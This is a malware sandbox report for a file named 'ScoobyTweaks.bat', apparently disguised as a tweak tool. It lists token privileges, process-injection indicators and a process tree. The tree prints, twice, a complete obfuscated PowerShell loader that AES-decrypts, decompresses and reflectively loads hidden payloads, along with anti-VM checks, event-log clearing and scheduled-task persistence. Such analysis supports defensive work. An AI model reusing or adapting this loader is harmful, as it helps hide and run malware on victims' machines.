Token: SeIncreaseQuotaPrivilege	1524	svchost.exe
Token: SeSecurityPrivilege	1524	svchost.exe
Token: SeTakeOwnershipPrivilege	1524	svchost.exe
Token: SeLoadDriverPrivilege	1524	svchost.exe
Token: SeBackupPrivilege	1524	svchost.exe
Token: SeRestorePrivilege	1524	svchost.exe
Token: SeShutdownPrivilege	1524	svchost.exe
Token: SeSystemEnvironmentPrivilege	1524	svchost.exe
Token: SeManageVolumePrivilege	1524	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1524	svchost.exe
Token: SeIncreaseQuotaPrivilege	1524	svchost.exe
Token: SeSecurityPrivilege	1524	svchost.exe
Token: SeTakeOwnershipPrivilege	1524	svchost.exe
Token: SeLoadDriverPrivilege	1524	svchost.exe
Token: SeSystemtimePrivilege	1524	svchost.exe
Token: SeBackupPrivilege	1524	svchost.exe
Token: SeRestorePrivilege	1524	svchost.exe
Token: SeShutdownPrivilege	1524	svchost.exe
Token: SeSystemEnvironmentPrivilege	1524	svchost.exe
Token: SeUndockPrivilege	1524	svchost.exe
Token: SeManageVolumePrivilege	1524	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1524	svchost.exe
Token: SeIncreaseQuotaPrivilege	1524	svchost.exe
Token: SeSecurityPrivilege	1524	svchost.exe
Token: SeTakeOwnershipPrivilege	1524	svchost.exe
Token: SeLoadDriverPrivilege	1524	svchost.exe
Token: SeSystemtimePrivilege	1524	svchost.exe
Token: SeBackupPrivilege	1524	svchost.exe
Token: SeRestorePrivilege	1524	svchost.exe
Token: SeShutdownPrivilege	1524	svchost.exe
Token: SeSystemEnvironmentPrivilege	1524	svchost.exe
Token: SeUndockPrivilege	1524	svchost.exe
Token: SeManageVolumePrivilege	1524	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1524	svchost.exe
Token: SeIncreaseQuotaPrivilege	1524	svchost.exe
Token: SeSecurityPrivilege	1524	svchost.exe
Token: SeTakeOwnershipPrivilege	1524	svchost.exe
Token: SeLoadDriverPrivilege	1524	svchost.exe
Token: SeSystemtimePrivilege	1524	svchost.exe
Token: SeBackupPrivilege	1524	svchost.exe
Token: SeRestorePrivilege	1524	svchost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3404	Explorer.EXE
3404	Explorer.EXE
3404	Explorer.EXE
3404	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4820	Conhost.exe
4368	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 1204	1608	cmd.exe	86
PID 1608 wrote to memory of 1204	1608	cmd.exe	86
PID 1608 wrote to memory of 560	1608	cmd.exe	87
PID 1608 wrote to memory of 560	1608	cmd.exe	87
PID 1608 wrote to memory of 4464	1608	cmd.exe	88
PID 1608 wrote to memory of 4464	1608	cmd.exe	88
PID 1608 wrote to memory of 3636	1608	cmd.exe	89
PID 1608 wrote to memory of 3636	1608	cmd.exe	89
PID 1608 wrote to memory of 372	1608	cmd.exe	90
PID 1608 wrote to memory of 372	1608	cmd.exe	90
PID 1608 wrote to memory of 2532	1608	cmd.exe	91
PID 1608 wrote to memory of 2532	1608	cmd.exe	91
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 2532 wrote to memory of 4304	2532	powershell.exe	92
PID 4304 wrote to memory of 624	4304	dllhost.exe	5
PID 4304 wrote to memory of 676	4304	dllhost.exe	7
PID 4304 wrote to memory of 968	4304	dllhost.exe	12
PID 4304 wrote to memory of 376	4304	dllhost.exe	13
PID 4304 wrote to memory of 512	4304	dllhost.exe	14
PID 4304 wrote to memory of 1028	4304	dllhost.exe	15
PID 4304 wrote to memory of 1072	4304	dllhost.exe	16
PID 4304 wrote to memory of 1124	4304	dllhost.exe	18
PID 4304 wrote to memory of 1140	4304	dllhost.exe	19
PID 4304 wrote to memory of 1160	4304	dllhost.exe	20
PID 676 wrote to memory of 2788	676	lsass.exe	48
PID 4304 wrote to memory of 1172	4304	dllhost.exe	21
PID 4304 wrote to memory of 1296	4304	dllhost.exe	22
PID 4304 wrote to memory of 1368	4304	dllhost.exe	23
PID 4304 wrote to memory of 1384	4304	dllhost.exe	24
PID 4304 wrote to memory of 1408	4304	dllhost.exe	25
PID 4304 wrote to memory of 1588	4304	dllhost.exe	26
PID 4304 wrote to memory of 1596	4304	dllhost.exe	27
PID 4304 wrote to memory of 1652	4304	dllhost.exe	28
PID 4304 wrote to memory of 1728	4304	dllhost.exe	29
PID 4304 wrote to memory of 1736	4304	dllhost.exe	30
PID 4304 wrote to memory of 1776	4304	dllhost.exe	31
PID 4304 wrote to memory of 1872	4304	dllhost.exe	32
PID 676 wrote to memory of 2788	676	lsass.exe	48
PID 4304 wrote to memory of 1936	4304	dllhost.exe	33
PID 4304 wrote to memory of 1940	4304	dllhost.exe	34
PID 4304 wrote to memory of 1212	4304	dllhost.exe	35
PID 4304 wrote to memory of 1520	4304	dllhost.exe	36
PID 4304 wrote to memory of 1524	4304	dllhost.exe	37
PID 4304 wrote to memory of 2096	4304	dllhost.exe	38
PID 4304 wrote to memory of 2188	4304	dllhost.exe	40
PID 4304 wrote to memory of 2388	4304	dllhost.exe	41
PID 4304 wrote to memory of 2512	4304	dllhost.exe	42
PID 4304 wrote to memory of 2520	4304	dllhost.exe	43
PID 4304 wrote to memory of 2664	4304	dllhost.exe	44
PID 4304 wrote to memory of 2672	4304	dllhost.exe	45
PID 4304 wrote to memory of 2688	4304	dllhost.exe	46
PID 4304 wrote to memory of 2736	4304	dllhost.exe	47
PID 4304 wrote to memory of 2788	4304	dllhost.exe	48
PID 4304 wrote to memory of 2828	4304	dllhost.exe	50
PID 4304 wrote to memory of 2848	4304	dllhost.exe	51
PID 4304 wrote to memory of 3044	4304	dllhost.exe	52
PID 4304 wrote to memory of 2956	4304	dllhost.exe	53
PID 4304 wrote to memory of 588	4304	dllhost.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:376
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e21ec05e-b262-4d9f-8384-06168221a715}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4304
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{da512ae7-0b65-48b0-90a6-460cdf3d98af}
  2⤵
  PID:1456

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1072
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1368
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1524

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2736

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2848

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3308

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3404
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ScoobyTweaks.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1092
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:1204
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
    3⤵
    PID:560
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:4464
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
    3⤵
    PID:3636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function HRHY($PTKg){ Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$rIxC=QC[QCSQCyQCsQCteQCm.QCSeQCcuQCrQCiQCtQCy.QCCQCrQCyQCpQCtoQCgQCraQCpQChQCyQC.AQCeQCsQC]QC::QCCQCreQCaQCteQC(QC);'.Replace('QC', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore -Debug '$rIxC.YMMYMoYMdYMeYM=[YMSyYMstYMemYM.YMSYMeYMcuYMrYMiYMtYMyYM.CYMrYMypYMtYMoYMgYMraYMpYMhYMyYM.CYMiYMphYMeYMrMYMoYMdYMe]YM:YM:CYMBCYM;'.Replace('YM', ''); Invoke-Expression -Verbose -Debug -WarningAction Inquire '$rIxC.NlPNlaNldNldNlinNlg=Nl[SNlysNltNleNlmNl.SNleNlcNluNlrNlitNlyNl.CNlrNlyNlpNltoNlgNlrNlaNlphNlyNl.PNlaNlddNliNlnNlgMNloNldeNl]:Nl:NlPKNlCSNl7Nl;'.Replace('Nl', ''); Invoke-Expression -Debug -Verbose -InformationAction Ignore '$rIxC.WJKWJeWJyWJ=WJ[SWJysWJteWJm.WJCWJoWJnWJveWJrWJtWJ]WJ:WJ:FWJrWJomWJBWJaWJsWJe6WJ4WJSWJtWJriWJnWJg("WJfWJTWJHWJDWJP/WJbfWJUgWJfmWJcWJFWJtWJ7CWJlWJEWJHWJBWJdGWJ1WJr4WJJWJLWJlWJdnWJgWJcWJPWJRmWJKWJqQWJVWJb/WJMWJ=");'.Replace('WJ', ''); Invoke-Expression -Verbose '$rIxC.rVIrVVrV=rV[rVSyrVstrVemrV.CrVorVnrVvrVerrVtrV]rV:rV:rVFrrVorVmBrVarVsrVerV64rVSrVtrVrrVinrVg("rV+rVZrVIrVArVZnrVqhrVUSrVCYrVvrVnrVUrV+9rVarVSrV+rVPrVQ=rV=");'.Replace('rV', ''); $oUbM=$rIxC.CreateDecryptor(); $cwxE=$oUbM.TransformFinalBlock($PTKg, 0, $PTKg.Length); $oUbM.Dispose(); $rIxC.Dispose(); $cwxE;}function FXwV($PTKg){ Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$tDoN=leNleelewle-leOblejelectle Sleylesletleemle.leIleOle.leMelemleorleyleSletlerelealemle(,$PTKg);'.Replace('le', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$XtCF=leNleelewle-leOblejelectle Sleylesletleemle.leIleOle.leMelemleorleyleSletlerelealemle;'.Replace('le', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$vjrb=LQNLQeLQwLQ-LQObLQjeLQctLQ SLQyLQsLQtLQemLQ.LQILQOLQ.LQCoLQmLQprLQeLQsLQsLQioLQnLQ.LQGLQZiLQpLQStLQrLQeaLQmLQ($tDoN, LQ[LQILQOLQ.LQCoLQmpLQreLQssLQiLQoLQnLQ.CLQoLQmLQpLQrLQesLQsLQioLQnLQMLQoLQdeLQ]LQ:LQ:LQDeLQcLQomLQpLQreLQsLQs);'.Replace('LQ', ''); $vjrb.CopyTo($XtCF); $vjrb.Dispose(); $tDoN.Dispose(); $XtCF.Dispose(); $XtCF.ToArray();}function KPVu($PTKg,$Mzdr){ Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$bXPy=KR[KRSKRyKRsKRteKRm.KRReKRflKReKRcKRtKRioKRnKR.KRAKRsKRseKRmKRblKRyKR]KR:KR:LKRoKRaKRd([byte[]]$PTKg);'.Replace('KR', ''); Invoke-Expression -InformationAction Ignore -Debug '$gPPl=$bXPy.PEEPEnPEtPErPEyPPEoiPEntPE;'.Replace('PE', ''); Invoke-Expression -InformationAction Ignore -Verbose -Debug '$gPPlIW.IWIIWnIWvIWokIWe(IW$nIWulIWlIW, $Mzdr);'.Replace('IW', '');}$bSII = 'C:\Users\Admin\AppData\Local\Temp\ScoobyTweaks.bat';$host.UI.RawUI.WindowTitle = $bSII;$xXmm=[System.IO.File]::ReadAllText($bSII).Split([Environment]::NewLine);foreach ($uKjW in $xXmm) { if ($uKjW.StartsWith('bvrJu')) { $QpGZ=$uKjW.Substring(5); break; }}$Kkal=[string[]]$QpGZ.Split('\');Invoke-Expression -Verbose -WarningAction Inquire '$Pfo = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[0].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$yDU = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[1].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$Kev = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[2].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');KPVu $Pfo $null;KPVu $yDU $null;KPVu $Kev (,[string[]] (''));
    3⤵
    PID:372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2532 -s 2260
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:4676
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\ScoobyTweaks.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:1272
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:1516
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:4820
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:2492
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"QEMU HARDDISK" /c:"WDS100T2B0A" /c:"DADY HARDDISK"
        5⤵
        
        PID:988
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:4676
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
        5⤵
        
        PID:3896
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function HRHY($PTKg){ Invoke-Expression -WarningAction Inquire -InformationAction Ignore -Verbose -Debug '$rIxC=QC[QCSQCyQCsQCteQCm.QCSeQCcuQCrQCiQCtQCy.QCCQCrQCyQCpQCtoQCgQCraQCpQChQCyQC.AQCeQCsQC]QC::QCCQCreQCaQCteQC(QC);'.Replace('QC', ''); Invoke-Expression -WarningAction Inquire -Verbose -InformationAction Ignore -Debug '$rIxC.YMMYMoYMdYMeYM=[YMSyYMstYMemYM.YMSYMeYMcuYMrYMiYMtYMyYM.CYMrYMypYMtYMoYMgYMraYMpYMhYMyYM.CYMiYMphYMeYMrMYMoYMdYMe]YM:YM:CYMBCYM;'.Replace('YM', ''); Invoke-Expression -Verbose -Debug -WarningAction Inquire '$rIxC.NlPNlaNldNldNlinNlg=Nl[SNlysNltNleNlmNl.SNleNlcNluNlrNlitNlyNl.CNlrNlyNlpNltoNlgNlrNlaNlphNlyNl.PNlaNlddNliNlnNlgMNloNldeNl]:Nl:NlPKNlCSNl7Nl;'.Replace('Nl', ''); Invoke-Expression -Debug -Verbose -InformationAction Ignore '$rIxC.WJKWJeWJyWJ=WJ[SWJysWJteWJm.WJCWJoWJnWJveWJrWJtWJ]WJ:WJ:FWJrWJomWJBWJaWJsWJe6WJ4WJSWJtWJriWJnWJg("WJfWJTWJHWJDWJP/WJbfWJUgWJfmWJcWJFWJtWJ7CWJlWJEWJHWJBWJdGWJ1WJr4WJJWJLWJlWJdnWJgWJcWJPWJRmWJKWJqQWJVWJb/WJMWJ=");'.Replace('WJ', ''); Invoke-Expression -Verbose '$rIxC.rVIrVVrV=rV[rVSyrVstrVemrV.CrVorVnrVvrVerrVtrV]rV:rV:rVFrrVorVmBrVarVsrVerV64rVSrVtrVrrVinrVg("rV+rVZrVIrVArVZnrVqhrVUSrVCYrVvrVnrVUrV+9rVarVSrV+rVPrVQ=rV=");'.Replace('rV', ''); $oUbM=$rIxC.CreateDecryptor(); $cwxE=$oUbM.TransformFinalBlock($PTKg, 0, $PTKg.Length); $oUbM.Dispose(); $rIxC.Dispose(); $cwxE;}function FXwV($PTKg){ Invoke-Expression -Debug -Verbose -InformationAction Ignore -WarningAction Inquire '$tDoN=leNleelewle-leOblejelectle Sleylesletleemle.leIleOle.leMelemleorleyleSletlerelealemle(,$PTKg);'.Replace('le', ''); Invoke-Expression -Debug -WarningAction Inquire -InformationAction Ignore '$XtCF=leNleelewle-leOblejelectle Sleylesletleemle.leIleOle.leMelemleorleyleSletlerelealemle;'.Replace('le', ''); Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$vjrb=LQNLQeLQwLQ-LQObLQjeLQctLQ SLQyLQsLQtLQemLQ.LQILQOLQ.LQCoLQmLQprLQeLQsLQsLQioLQnLQ.LQGLQZiLQpLQStLQrLQeaLQmLQ($tDoN, LQ[LQILQOLQ.LQCoLQmpLQreLQssLQiLQoLQnLQ.CLQoLQmLQpLQrLQesLQsLQioLQnLQMLQoLQdeLQ]LQ:LQ:LQDeLQcLQomLQpLQreLQsLQs);'.Replace('LQ', ''); $vjrb.CopyTo($XtCF); $vjrb.Dispose(); $tDoN.Dispose(); $XtCF.Dispose(); $XtCF.ToArray();}function KPVu($PTKg,$Mzdr){ Invoke-Expression -Verbose -InformationAction Ignore -Debug -WarningAction Inquire '$bXPy=KR[KRSKRyKRsKRteKRm.KRReKRflKReKRcKRtKRioKRnKR.KRAKRsKRseKRmKRblKRyKR]KR:KR:LKRoKRaKRd([byte[]]$PTKg);'.Replace('KR', ''); Invoke-Expression -InformationAction Ignore -Debug '$gPPl=$bXPy.PEEPEnPEtPErPEyPPEoiPEntPE;'.Replace('PE', ''); Invoke-Expression -InformationAction Ignore -Verbose -Debug '$gPPlIW.IWIIWnIWvIWokIWe(IW$nIWulIWlIW, $Mzdr);'.Replace('IW', '');}$bSII = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $bSII;$xXmm=[System.IO.File]::ReadAllText($bSII).Split([Environment]::NewLine);foreach ($uKjW in $xXmm) { if ($uKjW.StartsWith('bvrJu')) { $QpGZ=$uKjW.Substring(5); break; }}$Kkal=[string[]]$QpGZ.Split('\');Invoke-Expression -Verbose -WarningAction Inquire '$Pfo = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[0].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$yDU = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[1].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Debug '$Kev = FXwV (HRHY (ER[ERCERoERnERveERrtER]:ER:FERrERoERmERBaERsEReER6ER4ERStERrERinERgER($Kkal[2].Replace("#", "/").Replace("@", "A"))));'.Replace('ER', '');KPVu $Pfo $null;KPVu $yDU $null;KPVu $Kev (,[string[]] (''));
        5⤵
        
        PID:4120
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:4368
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4368 -s 2468
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3132
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4368 -s 2484
        6⤵
        
        PID:772
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:4392
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:2104
- C:\Windows\$nya-onimai2\Fqnweg.exe
  "C:\Windows\$nya-onimai2\Fqnweg.exe"
  2⤵
  - Executes dropped EXE
  PID:528
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3528

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3724

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3884

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3756

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1036

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3164

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4476

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:5028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:32

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:428

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2304

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:2372

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 0312656accd1932fc6cff3f6e3d24926 6fGezD0q8UO51lLJycDj2w.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3012
- C:\Windows\System32\Conhost.exe
